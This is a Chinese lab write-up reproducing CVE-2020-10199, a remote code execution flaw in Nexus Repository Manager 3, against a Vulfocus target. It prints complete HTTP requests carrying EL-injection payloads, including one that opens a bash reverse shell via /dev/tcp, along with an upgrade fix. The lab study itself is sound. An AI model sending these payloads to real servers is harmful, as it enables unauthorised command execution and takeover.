CVE-2020-10199 Nexus Repository Manager3远程命令执行漏洞复现
一、漏洞概述
nexus的全称是Nexus Repository Manager,是Sonatype公司的一个产品。它是一个强大的仓库管理器,极大地简化了内部仓库的维护和外部仓库的访问。主要用它来搭建公司内部的maven私服。但是它的功能不仅仅是创建maven私有仓库这么简单,还可以作为nuget、docker、npm、bower、pypi、rubygems、git lfs、yum、go、apt等的私有仓库,功能非常强大。——大佬链接:https://zhuanlan.zhihu.com/p/353955349
Nexus Repository Manager OSS/Pro 3.x <= 3.21.1
三、漏洞原理
在 Nexus Repository Manager OSS/Pro 3.21.1 及之前的版本中,由于某处功能安全处理不当,导致经过授权认证的攻击者,可以在远程通过构造恶意的 HTTP 请求,在服务端执行任意恶意代码、执行了不安全的EL表达式,从而获取到系统权限。
CVE-2020-10199的漏洞需要普通用户权限即可触发,而CVE-2020-10204则需要管理员权限。
补充:EL表达式——el表达式语言,Java统一表达式语言(英语:Unified Expression Language,简称JUEL)是一种特殊用途的编程语言,主要在Java Web应用程序用于将表达式嵌入到web页面。在JSP中访问模型对象是通过EL表达式的语法来表达。所有EL表达式的格式都是以“${}”表示。例如,${ userinfo}代表获取变量userinfo的值。
四、漏洞复现环境
Kali Linux + Vulfocus
渗透机:Kali Linux
靶机:Vulfocus
五、实验步骤
1.开启镜像环境,访问页面
2.使用账号id:admin password:admin登录账号
3.brup抓包且构造如下数据包,执行6*6*6(此时虚拟机太卡了,重新启动了一下,所以端口和环境都换了一下)
POST /service/rest/beta/repositories/go/group HTTP/1.1 Host: 192.168.117.131:42023 Content-Length: 187 X-Requested-With: XMLHttpRequest X-Nexus-UI: true User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0 NX-ANTI-CSRF-TOKEN:0.9468176225792493 Content-Type: application/json Accept: */* Origin: 192.168.117.131:42023 Referer: 192.168.117.131:42023 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: NX-ANTI-CSRF-TOKEN=0.9468176225792493; NXSESSIONID=ce2578b0-1eb1-4881-8fdc-b4ac02196bff Connection: close { "name": "internal", "online": true, "storage": { "blobStoreName": "default", "strictContentTypeValidation": true }, "group": { "memberNames": ["$\\A{6*6*6}"] } }
注:包构造时需按下图显示,即内容识别出高亮,若不行,则space微调就好了
4.把执行6*6*6修改为创建一个Nexus文件
POST /service/rest/beta/repositories/go/group HTTP/1.1 Host: 192.168.117.131:42023 Content-Length: 187 X-Requested-With: XMLHttpRequest X-Nexus-UI: true User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0 NX-ANTI-CSRF-TOKEN:0.9468176225792493 Content-Type: application/json Accept: */* Origin: 192.168.117.131:42023 Referer: 192.168.117.131:42023 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: NX-ANTI-CSRF-TOKEN=0.9468176225792493; NXSESSIONID=ce2578b0-1eb1-4881-8fdc-b4ac02196bff Connection: close { "name": "internal", "online": true, "storage": { "blobStoreName": "default", "strictContentTypeValidation": true }, "group": { "memberNames": ["$\\A{''.getClass().forName('java.lang.Runtime').getMethods()[6].invoke(null).exec('touch /tmp/Nexus')}"] } }
5.监听指定端口,执行反弹shell
POST /service/rest/beta/repositories/go/group HTTP/1.1 Host: 192.168.117.131:42023 Content-Length: 317 X-Requested-With: XMLHttpRequest X-Nexus-UI: true User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0 NX-ANTI-CSRF-TOKEN:0.9468176225792493 Content-Type: application/json Accept: */* Origin: 192.168.117.131:42023 Referer: 192.168.117.131:42023 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: NX-ANTI-CSRF-TOKEN=0.9468176225792493; NXSESSIONID=ce2578b0-1eb1-4881-8fdc-b4ac02196bff Connection: close { "name": "internal", "online": true, "storage": { "blobStoreName": "default", "strictContentTypeValidation": true }, "group": { "memberNames": ["$\\A{''.getClass().forName('java.lang.Runtime').getMethods()[6].invoke(null).exec('/bin/bash -c bash$IFS$9-i>&/dev/tcp/192.168.117.131/4216<&1')}"] } }
6.能看到之前创建的Nexus文件和flag
六、修复方式
根据官方跟新文档,升级至最新版本——https://help.sonatype.com/repomanager3
七、写于后面
此漏洞复现的意义主要还是多一个思路,毕竟涉及范围并不是特别广。当然更重要的还是对于linux的深入学习、理解和使用吧,准备新开一个linux学习专栏~
https://mp.weixin.qq.com/s/CAtsX3yP81mULbMDTo0J1A——一位大佬整理的该漏洞复现过程中的原理以及超级底层的讲解,超级棒,引用于此方便学习